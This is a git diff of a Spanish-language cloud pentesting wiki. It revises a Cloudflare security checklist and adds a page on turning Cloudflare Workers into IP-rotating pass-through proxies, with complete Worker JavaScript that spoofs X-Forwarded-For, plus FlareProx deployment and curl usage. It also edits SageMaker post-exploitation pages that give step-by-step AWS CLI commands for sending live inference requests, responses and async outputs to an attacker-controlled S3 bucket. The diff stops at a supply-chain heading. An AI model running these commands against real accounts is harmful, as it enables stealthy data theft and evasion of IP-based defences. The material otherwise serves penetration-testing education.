diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 08e905c3b..edf325eec 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -2,76 +2,82 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-En una cuenta de Cloudflare hay algunas **configuraciones y servicios generales** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
+En una cuenta de Cloudflare hay algunos **ajustes y servicios generales** que se pueden configurar. En esta página vamos a **analizar los ajustes relacionados con la seguridad de cada sección:**
 
 <figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
 
 ## Sitios web
 
-Revisa cada uno con:
+Revisar cada uno con:
 
 {{#ref}}
 cloudflare-domains.md
 {{#endref}}
 
-### Registro de Dominio
+### Registro de dominios
 
-- [ ] En **`Transferir Dominios`** verifica que no sea posible transferir ningún dominio.
+- [ ] En **`Transfer Domains`** comprueba que no sea posible transferir ningún dominio.
 
-Revisa cada uno con:
+Revisar cada uno con:
 
 {{#ref}}
 cloudflare-domains.md
 {{#endref}}
 
-## Análisis
+## Analítica
 
-_No pude encontrar nada para revisar la configuración de seguridad._
+_I couldn't find anything to check for a config security review._
 
-## Páginas
+## Pages
 
-En cada página de Cloudflare:
+En cada Pages de Cloudflare:
 
-- [ ] Verifica si hay **información sensible** en el **`Registro de construcción`**.
-- [ ] Verifica si hay **información sensible** en el **repositorio de Github** asignado a las páginas.
-- [ ] Verifica posibles compromisos del repositorio de github a través de **inyección de comandos de flujo de trabajo** o compromiso de `pull_request_target`. Más información en la [**página de Seguridad de Github**](../github-security/).
-- [ ] Verifica si hay **funciones vulnerables** en el directorio `/fuctions` (si las hay), verifica los **redireccionamientos** en el archivo `_redirects` (si los hay) y los **encabezados mal configurados** en el archivo `_headers` (si los hay).
-- [ ] Verifica si hay **vulnerabilidades** en la **página web** a través de **blackbox** o **whitebox** si puedes **acceder al código**.
-- [ ] En los detalles de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Verifica si hay **información sensible** en las **`Variables de entorno`**.
-- [ ] En la página de detalles verifica también el **comando de construcción** y el **directorio raíz** en busca de **inyecciones potenciales** que comprometan la página.
+- [ ] Busca **información sensible** en el **`Build log`**.
+- [ ] Busca **información sensible** en el repositorio de **Github** asignado a Pages.
+- [ ] Comprueba un posible compromiso del repo de Github vía **workflow command injection** o compromiso de `pull_request_target`. Más info en la [**Github Security page**](../github-security/index.html).
+- [ ] Busca **vulnerable functions** en el directorio `/fuctions` (si existe), revisa los **redirects** en el archivo `_redirects` (si existe) y las **misconfigured headers** en el archivo `_headers` (si existe).
+- [ ] Busca **vulnerabilidades** en la **web** mediante **blackbox** o **whitebox** si puedes **acceder al código**
+- [ ] En los detalles de cada page `/<page_id>/pages/view/blocklist/settings/functions`. Busca **información sensible** en las **`Environment variables`**.
+- [ ] En la página de detalles revisa también el **build command** y el **root directory** por **posibles inyecciones** para comprometer la página.
 
 ## **Workers**
 
-En cada worker de Cloudflare verifica:
+En cada Worker de Cloudflare, comprueba:
 
-- [ ] Los disparadores: ¿Qué hace que el worker se active? ¿Puede un **usuario enviar datos** que serán **utilizados** por el worker?
-- [ ] En los **`Ajustes`**, verifica si hay **`Variables`** que contengan **información sensible**.
-- [ ] Verifica el **código del worker** y busca **vulnerabilidades** (especialmente en lugares donde el usuario puede gestionar la entrada).
-- Verifica SSRFs que devuelvan la página indicada que puedes controlar.
-- Verifica XSSs que ejecuten JS dentro de una imagen svg.
-- Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un bucket R2 que almacena información obtenida de la entrada. En ese caso, sería necesario verificar qué capacidades tiene el worker sobre el bucket R2 y cómo podría ser abusado a partir de la entrada del usuario.
+- [ ] Los triggers: ¿Qué hace que se dispare el worker? ¿Puede un **usuario enviar datos** que serán **usados** por el worker?
+- [ ] En los **`Settings`**, comprueba las **`Variables`** que contengan **información sensible**
+- [ ] Revisa el **código del worker** y busca **vulnerabilidades** (especialmente en lugares donde el usuario puede manejar la entrada)
+- Comprueba SSRFs que retornen la página indicada que puedas controlar
+- Comprueba XSSs que ejecuten JS dentro de una imagen svg
+- Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un bucket R2 almacenando información en él obtenida desde la entrada. En ese caso, sería necesario comprobar qué capacidades tiene el worker sobre el bucket R2 y cómo podría ser abusado a partir de la entrada del usuario.
 
 > [!WARNING]
-> Ten en cuenta que por defecto a un **Worker se le asigna una URL** como `<worker-name>.<account>.workers.dev`. El usuario puede configurarlo como un **subdominio**, pero siempre puedes acceder a él con esa **URL original** si la conoces.
+> Ten en cuenta que por defecto a un **Worker se le asigna una URL** como `<worker-name>.<account>.workers.dev`. El usuario puede configurarla a un **subdominio** pero siempre puedes accederla con esa **URL original** si la conoces.
+
+Para un abuso práctico de Workers como pass-through proxies (rotación de IP, FireProx-style), consulta:
+
+{{#ref}}
+cloudflare-workers-pass-through-proxy-ip-rotation.md
+{{#endref}}
 
 ## R2
 
-En cada bucket R2 verifica:
+En cada bucket R2 comprueba:
 
-- [ ] Configura la **Política de CORS**.
+- [ ] Configura la **CORS Policy**.
 
 ## Stream
 
 TODO
 
-## Imágenes
+## Images
 
 TODO
 
-## Centro de Seguridad
+## Security Center
 
-- [ ] Si es posible, ejecuta un **escaneo de `Insights de Seguridad`** y un **escaneo de `Infraestructura`**, ya que **destacarán** información interesante desde el punto de vista de la **seguridad**.
-- [ ] Solo **verifica esta información** en busca de configuraciones de seguridad incorrectas e información interesante.
+- [ ] Si es posible, ejecuta un **`Security Insights`** **scan** y un **`Infrastructure`** **scan**, ya que resaltarán información interesante desde el punto de vista **de seguridad**.
+- [ ] Simplemente **revisa esta información** en busca de malas configuraciones de seguridad e información interesante
 
 ## Turnstile
 
@@ -83,52 +89,52 @@ TODO
 cloudflare-zero-trust-network.md
 {{#endref}}
 
-## Redireccionamientos Masivos
+## Bulk Redirects
 
 > [!NOTE]
-> A diferencia de [Redireccionamientos Dinámicos](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Redireccionamientos Masivos**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos: no **admiten ninguna operación de reemplazo de cadenas** ni expresiones regulares. Sin embargo, puedes configurar parámetros de redireccionamiento de URL que afectan su comportamiento de coincidencia de URL y su comportamiento en tiempo de ejecución.
+> A diferencia de [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos — no soportan operaciones de reemplazo de cadenas ni expresiones regulares. Sin embargo, puedes configurar parámetros de redirección URL que afectan su comportamiento de matching y su comportamiento en tiempo de ejecución.
 
-- [ ] Verifica que las **expresiones** y **requisitos** para los redireccionamientos **tengan sentido**.
-- [ ] Verifica también si hay **puntos finales ocultos sensibles** que contengan información interesante.
+- [ ] Comprueba que las **expresiones** y **requisitos** para las redirecciones **tengan sentido**.
+- [ ] Revisa también por **endpoints ocultos sensibles** que contengan información interesante.
 
-## Notificaciones
+## Notifications
 
-- [ ] Verifica las **notificaciones.** Estas notificaciones son recomendadas para la seguridad:
-- `Facturación Basada en Uso`
-- `Alerta de Ataque DDoS HTTP`
-- `Alerta de Ataque DDoS Capa 3/4`
-- `Alerta de Ataque DDoS HTTP Avanzado`
-- `Alerta de Ataque DDoS Capa 3/4 Avanzado`
-- `Monitoreo Basado en Flujo: Ataque Volumétrico`
-- `Alerta de Detección de Fugas de Ruta`
-- `Alerta de Expiración de Certificado mTLS de Acceso`
-- `Alerta de SSL para Nombres de Host Personalizados de SaaS`
-- `Alerta de SSL Universal`
-- `Alerta de Detección de Nuevos Cambios de Código en el Monitor de Scripts`
-- `Alerta de Nuevo Dominio en el Monitor de Scripts`
-- `Alerta de Nuevo Dominio Malicioso en el Monitor de Scripts`
-- `Alerta de Nuevo Script Malicioso en el Monitor de Scripts`
-- `Alerta de Nueva URL Maliciosa en el Monitor de Scripts`
-- `Alerta de Nuevos Scripts en el Monitor de Scripts`
-- `Alerta de Nuevo Script Excede la Longitud Máxima de URL en el Monitor de Scripts`
-- `Alerta de Eventos de Seguridad Avanzados`
-- `Alerta de Eventos de Seguridad`
-- [ ] Verifica todos los **destinos**, ya que podría haber **información sensible** (autenticación http básica) en las URLs de webhook. Asegúrate también de que las URLs de webhook usen **HTTPS**.
-- [ ] Como verificación adicional, podrías intentar **suplantar una notificación de cloudflare** a un tercero, tal vez puedas **inyectar algo peligroso** de alguna manera.
+- [ ] Revisa las **notificaciones.** Estas notificaciones se recomiendan para seguridad:
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
+- `Route Leak Detection Alert`
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
+- [ ] Revisa todos los **destinos**, ya que podría haber **información sensible** (basic http auth) en las webhook urls. Asegúrate también de que las webhook urls usen **HTTPS**
+- [ ] Como comprobación extra, podrías intentar **suplantar una notificación de cloudflare** a un tercero, quizás puedas de algún modo **inyectar algo peligroso**
 
-## Gestionar Cuenta
+## Manage Account
 
-- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, el **tiempo de expiración** y la **dirección de facturación** en **`Facturación` -> `Información de pago`**.
-- [ ] Es posible ver el **tipo de plan** utilizado en la cuenta en **`Facturación` -> `Suscripciones`**.
-- [ ] En **`Miembros`** es posible ver todos los miembros de la cuenta y su **rol**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrador y Super Administrador. Pero si el **plan utilizado es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio.
-- Por lo tanto, siempre que sea posible, se **recomienda** utilizar el **plan Enterprise**.
-- [ ] En Miembros es posible verificar qué **miembros** tienen **2FA habilitado**. **Cada** usuario debería tenerlo habilitado.
+- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, la **fecha de expiración** y la **dirección de facturación** en **`Billing` -> `Payment info`**.
+- [ ] Es posible ver el **tipo de plan** usado en la cuenta en **`Billing` -> `Subscriptions`**.
+- [ ] En **`Members`** es posible ver todos los miembros de la cuenta y su **role**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrator y Super Administrator. Pero si el **plan es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio.
+- Por lo tanto, siempre que sea posible se **recomienda** usar el **Enterprise plan**.
+- [ ] En Members es posible comprobar qué **miembros** tienen **2FA habilitado**. **Todos** los usuarios deberían tenerlo activado.
 
 > [!NOTE]
-> Ten en cuenta que afortunadamente el rol **`Administrador`** no otorga permisos para gestionar membresías (**no puede escalar privilegios ni invitar** nuevos miembros).
+> Ten en cuenta que afortunadamente el role **`Administrator`** no otorga permisos para gestionar membresías (**no puede escalar privilegios o invitar** nuevos miembros)
 
-## Investigación de DDoS
+## DDoS Investigation
 
-[Ver esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
+[Revisa esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
new file mode 100644
index 000000000..dffcebbf4
--- /dev/null
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -0,0 +1,286 @@
+# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Cloudflare Workers pueden desplegarse como proxies HTTP transparentes donde la URL objetivo upstream la proporciona el cliente. Las solicitudes salen por la red de Cloudflare, por lo que el destino observa las IPs de Cloudflare en lugar de las del cliente. Esto refleja la conocida técnica FireProx en AWS API Gateway, pero usando Cloudflare Workers.
+
+### Key capabilities
+- Soporte para todos los métodos HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
+- El target puede proporcionarse vía parámetro de consulta (?url=...), una cabecera (X-Target-URL), o incluso codificado en la ruta (por ejemplo, /https://target)
+- Las cabeceras y el cuerpo se proxyean con filtrado de cabeceras hop-by-hop/según sea necesario
+- Las respuestas se reenvían, preservando el código de estado y la mayoría de las cabeceras
+- Suplantación opcional de X-Forwarded-For (si el Worker la establece desde una cabecera controlada por el usuario)
+- Rotación extremadamente rápida/fácil desplegando múltiples endpoints de Worker y expandiendo las solicitudes
+
+### How it works (flow)
+1) El cliente envía una petición HTTP a una URL de Worker (`<name>.<account>.workers.dev` o una ruta de dominio personalizado).
+2) El Worker extrae el target ya sea de un parámetro de consulta (?url=...), la cabecera X-Target-URL, o un segmento de la ruta si está implementado.
+3) El Worker reenvía el método entrante, las cabeceras y el cuerpo a la URL upstream especificada (filtrando cabeceras problemáticas).
+4) La respuesta del upstream se transmite de vuelta al cliente a través de Cloudflare; el origen ve las IPs de egreso de Cloudflare.
+
+### Worker implementation example
+- Lee la URL de destino desde el parámetro de consulta, la cabecera o la ruta
+- Copia un subconjunto seguro de cabeceras y reenvía el método/cuerpo original
+- Opcionalmente establece X-Forwarded-For usando una cabecera controlada por el usuario (X-My-X-Forwarded-For) o una IP aleatoria
+- Añade CORS permisivo y maneja preflight
+
+<details>
+<summary>Ejemplo de Worker (JavaScript) para pass-through proxying</summary>
+```javascript
+/**
+* Minimal Worker pass-through proxy
+* - Target URL from ?url=, X-Target-URL, or /https://...
+* - Proxies method/headers/body to upstream; relays response
+*/
+addEventListener('fetch', event => {
+event.respondWith(handleRequest(event.request))
+})
+
+async function handleRequest(request) {
+try {
+const url = new URL(request.url)
+const targetUrl = getTargetUrl(url, request.headers)
+
+if (!targetUrl) {
+return errorJSON('No target URL specified', 400, {
+usage: {
+query_param: '?url=https://example.com',
+header: 'X-Target-URL: https://example.com',
+path: '/https://example.com'
+}
+})
+}
+
+let target
+try { target = new URL(targetUrl) } catch (e) {
+return errorJSON('Invalid target URL', 400, { provided: targetUrl })
+}
+
+// Forward original query params except control ones
+const passthru = new URLSearchParams()
+for (const [k, v] of url.searchParams) {
+if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
+}
+if (passthru.toString()) target.search = passthru.toString()
+
+// Build proxied request
+const proxyReq = buildProxyRequest(request, target)
+const upstream = await fetch(proxyReq)
+
+return buildProxyResponse(upstream, request.method)
+} catch (error) {
+return errorJSON('Proxy request failed', 500, {
+message: error.message,
+timestamp: new Date().toISOString()
+})
+}
+}
+
+function getTargetUrl(url, headers) {
+let t = url.searchParams.get('url') || headers.get('X-Target-URL')
+if (!t && url.pathname !== '/') {
+const p = url.pathname.slice(1)
+if (p.startsWith('http')) t = p
+}
+return t
+}
+
+function buildProxyRequest(request, target) {
+const h = new Headers()
+const allow = [
+'accept','accept-language','accept-encoding','authorization',
+'cache-control','content-type','origin','referer','user-agent'
+]
+for (const [k, v] of request.headers) {
+if (allow.includes(k.toLowerCase())) h.set(k, v)
+}
+h.set('Host', target.hostname)
+
+// Optional: spoof X-Forwarded-For if provided
+const spoof = request.headers.get('X-My-X-Forwarded-For')
+h.set('X-Forwarded-For', spoof || randomIP())
+
+return new Request(target.toString(), {
+method: request.method,
+headers: h,
+body: ['GET','HEAD'].includes(request.method) ? null : request.body
+})
+}
+
+function buildProxyResponse(resp, method) {
+const h = new Headers()
+for (const [k, v] of resp.headers) {
+if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
+h.set(k, v)
+}
+}
+// Permissive CORS for tooling convenience
+h.set('Access-Control-Allow-Origin', '*')
+h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
+h.set('Access-Control-Allow-Headers', '*')
+
+if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
+return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
+}
+
+function errorJSON(msg, status=400, extra={}) {
+return new Response(JSON.stringify({ error: msg, ...extra }), {
+status, headers: { 'Content-Type': 'application/json' }
+})
+}
+
+function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
+```
+</details>
+
+### Automatizando el despliegue y la rotación con FlareProx
+
+FlareProx es una herramienta en Python que usa la Cloudflare API para desplegar muchos endpoints de Worker y rotar entre ellos. Esto proporciona una rotación de IP tipo FireProx desde la red de Cloudflare.
+
+Configuración
+1) Crea un Cloudflare API Token usando la plantilla “Edit Cloudflare Workers” y obtén tu ID de la cuenta desde el panel de control.
+2) Configura FlareProx:
+```bash
+git clone https://github.com/MrTurvey/flareprox
+cd flareprox
+pip install -r requirements.txt
+```
+**Crear archivo de configuración flareprox.json:**
+```json
+{
+"cloudflare": {
+"api_token": "your_cloudflare_api_token",
+"account_id": "your_cloudflare_account_id"
+}
+}
+```
+**Uso de la CLI**
+
+- Crear N Worker proxies:
+```bash
+python3 flareprox.py create --count 2
+```
+- Listar endpoints:
+```bash
+python3 flareprox.py list
+```
+- Endpoints de comprobación de estado:
+```bash
+python3 flareprox.py test
+```
+- Eliminar todos los endpoints:
+```bash
+python3 flareprox.py cleanup
+```
+**Enrutando tráfico a través de un Worker**
+- Formato de parámetro de consulta:
+```bash
+curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
+```
+- Formato del encabezado:
+```bash
+curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
+```
+- Formato de ruta (si está implementado):
+```bash
+curl https://your-worker.account.workers.dev/https://httpbin.org/ip
+```
+- Ejemplos de métodos:
+```bash
+# GET
+curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
+
+# POST (form)
+curl -X POST -d "username=admin" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
+
+# PUT (JSON)
+curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
+
+# DELETE
+curl -X DELETE \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
+```
+**`X-Forwarded-For` control**
+
+Si el Worker respeta `X-My-X-Forwarded-For`, puedes influir en el valor `X-Forwarded-For` upstream:
+```bash
+curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
+```
+**Uso programático**
+
+Usa la librería FlareProx para crear/listar/probar endpoints y enrutar solicitudes desde Python.
+
+<details>
+<summary>Ejemplo en Python: Enviar un POST vía un endpoint Worker aleatorio</summary>
+```python
+#!/usr/bin/env python3
+from flareprox import FlareProx, FlareProxError
+import json
+
+# Initialize
+flareprox = FlareProx(config_file="flareprox.json")
+if not flareprox.is_configured:
+print("FlareProx not configured. Run: python3 flareprox.py config")
+exit(1)
+
+# Ensure endpoints exist
+endpoints = flareprox.sync_endpoints()
+if not endpoints:
+print("Creating proxy endpoints...")
+flareprox.create_proxies(count=2)
+
+# Make a POST request through a random endpoint
+try:
+post_data = json.dumps({
+"username": "testuser",
+"message": "Hello from FlareProx!",
+"timestamp": "2025-01-01T12:00:00Z"
+})
+
+headers = {
+"Content-Type": "application/json",
+"User-Agent": "FlareProx-Client/1.0"
+}
+
+response = flareprox.redirect_request(
+target_url="https://httpbin.org/post",
+method="POST",
+headers=headers,
+data=post_data
+)
+
+if response.status_code == 200:
+result = response.json()
+print("✓ POST successful via FlareProx")
+print(f"Origin IP: {result.get('origin', 'unknown')}")
+print(f"Posted data: {result.get('json', {})}")
+else:
+print(f"Request failed with status: {response.status_code}")
+
+except FlareProxError as e:
+print(f"FlareProx error: {e}")
+except Exception as e:
+print(f"Request error: {e}")
+```
+</details>
+
+**Burp/Scanner integración**
+- Apunta la herramienta (por ejemplo, Burp Suite) a la Worker URL.
+- Proporciona el upstream real usando ?url= o X-Target-URL.
+- Se preservan las semánticas HTTP (methods/headers/body) mientras se enmascara tu IP de origen detrás de Cloudflare.
+
+**Notas operativas y límites**
+- Cloudflare Workers Free plan permite aproximadamente 100,000 solicitudes/día por cuenta; usa múltiples endpoints para distribuir el tráfico si es necesario.
+- Workers se ejecutan en la red de Cloudflare; muchos objetivos solo verán las IPs/ASN de Cloudflare, lo que puede eludir listas ingenuas de allow/deny por IP o heurísticas geográficas.
+- Úsalo responsablemente y solo con autorización. Respeta los ToS y robots.txt.
+
+## Referencias
+- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
+- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
+- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
+- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
index 7ade05e66..9b2841f5a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -2,15 +2,15 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Exfiltración de datos de endpoints de SageMaker via UpdateEndpoint DataCaptureConfig
+## Desvío de datos de endpoint de SageMaker vía UpdateEndpoint DataCaptureConfig
 
-Abusar de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el modelo ni el contenedor. Usa una actualización rolling con cero/bajo tiempo de inactividad y solo requiere permisos de gestión del endpoint.
+Abusa de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el model o container. Usa una zero/low‑downtime rolling update y solo requiere permisos de gestión del endpoint.
 
 ### Requisitos
 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
 - S3: `s3:CreateBucket` (o usar un bucket existente en la misma cuenta)
-- Opcional (si se usa SSE‑KMS): `kms:Encrypt` on the chosen CMK
-- Objetivo: un endpoint InService de tiempo real existente en la misma cuenta/región
+- Opcional (si se usa SSE‑KMS): `kms:Encrypt` en la CMK elegida
+- Objetivo: Un endpoint InService en tiempo real existente en la misma cuenta/región
 
 ### Pasos
 1) Identificar un endpoint InService y recopilar las variantes de producción actuales
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
 echo "EndpointConfig=$CFG"
 aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
 ```
-2) Preparar destino S3 del atacante para capturas
+2) Preparar destino S3 del atacante para captures
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-capture-$ACC-$(date +%s)
 aws s3 mb s3://$BUCKET --region $REGION
 ```
-3) Crea una nueva EndpointConfig que mantenga las mismas variants pero habilite DataCapture al attacker bucket
+3) Crea un nuevo EndpointConfig que mantenga las mismas variantes pero habilite DataCapture hacia el attacker bucket
 
-Nota: Usa content types explícitos que cumplan la validación del CLI.
+Nota: Usa tipos de contenido explícitos que satisfagan la validación del CLI.
 ```bash
 NEWCFG=${CFG}-dc
 cat > /tmp/dc.json << JSON
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
 --production-variants file:///tmp/pv.json \
 --data-capture-config file:///tmp/dc.json
 ```
-4) Aplicar la nueva config con un rolling update (minimal/no downtime)
+4) Aplicar la nueva configuración con un rolling update (tiempo de inactividad mínimo/nulo)
 ```bash
 aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
 aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
 ```
-5) Generar al menos una llamada de inferencia (opcional si existe tráfico en vivo)
+5) Generar al menos una llamada de inferencia (opcional si existe tráfico en tiempo real)
 ```bash
 echo '{"inputs":[1,2,3]}' > /tmp/payload.json
 aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
 --content-type application/json --accept application/json \
 --body fileb:///tmp/payload.json /tmp/out.bin || true
 ```
-6) Validar capturas en el S3 del atacante
+6) Validar capturas en attacker S3
 ```bash
 aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
 ```
 ### Impacto
 - Exfiltración completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un bucket S3 controlado por el atacante.
-- Sin cambios en el model/container image y solo cambios a nivel de endpoint, permitiendo una vía sigilosa de robo de datos con mínima interrupción operativa.
+- Sin cambios en la imagen del model/container y solo cambios a nivel de endpoint, lo que permite una vía sigilosa de robo de datos con mínima interrupción operativa.
 
 
-## Secuestro de la salida de async inference de SageMaker vía UpdateEndpoint AsyncInferenceConfig
+## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
 
-Abusar de la gestión de endpoints para redirigir las salidas de inferencia asíncrona a un bucket S3 controlado por el atacante clonando el EndpointConfig actual y estableciendo AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el model/container.
+Abusar de la gestión del endpoint para redirigir las salidas de inferencia asíncrona a un bucket S3 controlado por el atacante clonando el EndpointConfig actual y configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el model/container.
 
 ### Requisitos
 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
-- S3: Capacidad para escribir en el bucket S3 controlado por el atacante (vía el model execution role o una política de bucket permisiva)
-- Target: Un endpoint InService donde se estén usando (o se usarán) invocaciones asíncronas
+- S3: Capacidad para escribir en el bucket S3 del atacante (vía el model execution role o una política de bucket permisiva)
+- Objetivo: Un endpoint InService donde las invocaciones asíncronas se están (o se usarán) empleando
 
 ### Pasos
-1) Recolectar los ProductionVariants actuales del endpoint objetivo
+1) Recopila los ProductionVariants actuales del endpoint objetivo
 ```bash
 REGION=${REGION:-us-east-1}
 EP=<target-endpoint-name>
 CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
 aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
 ```
-2) Crea un attacker bucket (asegúrate de que el model execution role pueda PutObject en él)
+2) Crea un bucket atacante (asegúrate de que el rol de ejecución del modelo pueda PutObject en él)
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
 aws s3 mb s3://$BUCKET --region $REGION || true
 ```
-3) Clonar EndpointConfig y secuestrar las salidas de AsyncInference hacia el bucket del atacante
+3) Clonar EndpointConfig y hijack AsyncInference outputs al attacker bucket
 ```bash
 NEWCFG=${CUR_CFG}-async-exfil
 cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "
 aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
 aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
 ```
-4) Disparar una invocación asíncrona y verificar que los objetos lleguen al S3 del atacante
+4) Disparar una invocación asíncrona y verificar que los objetos terminen en el S3 del atacante
 ```bash
 aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
 aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
 aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
 ```
 ### Impacto
-- Redirige los resultados de inferencia asincrónica (y los cuerpos de error) a un S3 controlado por el atacante, posibilitando la exfiltración encubierta de predicciones y de entradas pre/post-procesadas potencialmente sensibles producidas por el contenedor, sin cambiar el código del modelo ni la imagen y con tiempo de inactividad mínimo o nulo.
+- Redirige los resultados de inferencia asíncrona (y los cuerpos de error) a S3 controlado por el atacante, permitiendo la exfiltración encubierta de predicciones y de posibles entradas pre/post-procesadas sensibles producidas por el contenedor, sin cambiar el código o la imagen del modelo y con tiempo de inactividad mínimo o nulo.
 
 
 ## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
 
